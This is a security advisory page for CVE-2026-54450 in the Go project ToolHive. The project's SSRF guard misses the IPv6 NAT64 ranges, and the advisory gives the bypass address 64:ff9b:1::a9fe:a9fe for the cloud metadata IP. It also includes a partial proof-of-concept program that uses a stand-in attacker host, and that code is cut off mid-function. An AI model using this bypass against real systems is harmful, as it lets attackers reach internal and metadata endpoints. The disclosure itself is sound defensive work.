low

CVE-2026-54450

Go · github.com/stacklok/toolhive

Summary

ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway

Severity
low
EPSS
0.3% (p26)
CWE
CWE-918
Also known as
GHSA-pph6-vfjv-vpjw
Published
2026-07-15
Updated
2026-07-15

Advisory details

Summary

ToolHive's hand-rolled private/reserved-IP SSRF guard (networking.IsPrivateIP in pkg/networking/utilities.go) does not recognize the IPv6 NAT64 address ranges — the well-known prefix 64:ff9b::/96 (RFC 6052) and the RFC 8215 local-use prefix 64:ff9b:1::/48. As a result, an address such as 64:ff9b:1::a9fe:a9fe — the NAT64 encoding of the link-local cloud metadata address 169.254.169.254 — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact.

The most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents client_id=https://<attacker-domain>/path, and CIMDStorageDecorator.GetClient fetches that URL through the same guard. The same IsPrivateIP table is also shared by the protectedDialerControl HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (pkg/skills/gitresolver), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is not affected — it enforces only the HTTPS scheme via ValidatingTransport and performs no IP-based check.)

Details

pkg/networking/utilities.go builds a privateIPBlocks table and IsPrivateIP:

func init() {
	for _, cidr := range []string{
		"127.0.0.0/8", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
		"169.254.0.0/16", "::1/128", "fe80::/10", "fc00::/7",
		"100.64.0.0/10", "192.0.2.0/24", "198.51.100.0/24", "203.0.113.0/24",
		"224.0.0.0/4", "ff00::/8",
	} { /* ... append to privateIPBlocks ... */ }
}

func IsPrivateIP(ip net.IP) bool {
	if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {
		return true
	}
	for _, block := range privateIPBlocks {
		if block.Contains(ip) {
			return true
		}
	}
	return false
}

The table contains no entry for 64:ff9b::/96 or 64:ff9b:1::/48. A NAT64 address is a normal global-unicast IPv6 address: net.IP.IsGlobalUnicast() returns true and it matches none of the listed blocks, so IsPrivateIP returns false.

The CIMD fetcher (pkg/oauthproto/cimd/fetch.go, newCIMDHTTPClient) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:

ips, err := net.DefaultResolver.LookupHost(ctx, host)
// ...
for _, ipStr := range ips {
	ip := net.ParseIP(ipStr)
	// ...
	if !ip.IsLoopback() && networking.IsPrivateIP(ip) {
		return nil, fmt.Errorf("cimd: refusing connection to private address %s", ipStr)
	}
	dialer := &net.Dialer{Timeout: 5 * time.Second}
	return dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))
}

Because IsPrivateIP(64:ff9b:1::a9fe:a9fe) is false, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to 169.254.169.254.

Trust boundary: the CIMD URL originates from the client_id of an external OAuth client at authorize/token time (CIMDStorageDecorator.GetClient → IsClientIDMetadataDocumentURL(id) → cimd.FetchClientMetadataDocument(ctx, id)), so it is fully attacker-controlled. The protectedDialerControl HTTP clients used for registry, OIDC discovery, and token introspection (pkg/networking/http_client.go → AddressReferencesPrivateIp → IsPrivateIP) and the skills git-clone host check (pkg/skills/gitresolver/reference.go validateHost → IsPrivateIP) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.

Note that ::ffff:169.254.169.254 (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.

Affected

Proof of Concept

The following self-contained Go program imports ToolHive v0.29.0 (commit 570ce07013b72208fcae339e9492f5867a1af994) and exercises the real guard code: the exported networking.IsPrivateIP, the exported oauthproto.IsClientIDMetadataDocumentURL predicate that routes a client_id into the CIMD fetch path, and the CIMD dialer gate copied verbatim from pkg/oauthproto/cimd/fetch.go. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code.

go.mod:

module poc

go 1.26

require github.com/stacklok/toolhive v0.29.0

main.go:

package main

import (
	"context"
	"fmt"
	"net"
	"net/http"
	"net/http/httptest"
	"strings"
	"time"

	"github.com/stacklok/toolhive/pkg/networking"
	"github.com/stacklok/toolhive/pkg/oauthproto"
	"github.com/stacklok/toolhive/pkg/oauthproto/cimd"
)

var _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)

const (
	attackerHost = "cimd-attacker.example"
	natLocalUse  = "64:ff9b:1::a9fe:a9fe" // RFC 8215 NAT64 of 169.254.169.254
)

func main() {
	// Part A: real classifier on NAT64 vs private addresses.
	for _, s := range []string{
		natLocalUse, "64:ff9b::a9fe:a9fe", "64:ff9b::7f00:1",
		"169.254.169.254", "::ffff:169.254.169.254", "10.0.0.1", "93.184.216.34",
	} {
		ip := net.ParseIP(s)
		fmt.Printf("IsPrivateIP(%-22s) = %v\n", s, networking.IsPrivateIP(ip))
	}

	// Control listener standing in for the IMDS reachable behind NAT64.
	hit := make(chan string, 1)
	imds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		hit <- r.Host + r.URL.Path
		fmt.Fprint(w, `{"AccessKeyId":"ASIA_STOLEN","SecretAccessKey":"s3cr3t"}`)
	}))
	defer imds.Close()
	ctrlAddr := strings.TrimPrefix(imds.URL, "http://")

	clientID := "https://" + attackerHost + "/.well-known/oauth-client"
	fmt.Printf("IsClientIDMetadataDocumentURL(%q) = %v\n", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))

	// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,
	// with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled.
	transport := &http.Transport{DisableKeepAlives: true,
		DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
			host, _, _ := net.SplitHostPort(address)
			var ips []string
			if host == attackerHost {
				ips = []string{natLocalUse} // DNS64 synthesis
			} else {
				ips, _ = net.DefaultResolver.LookupHost(ctx, host)
			}
			for _, ipStr := 

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.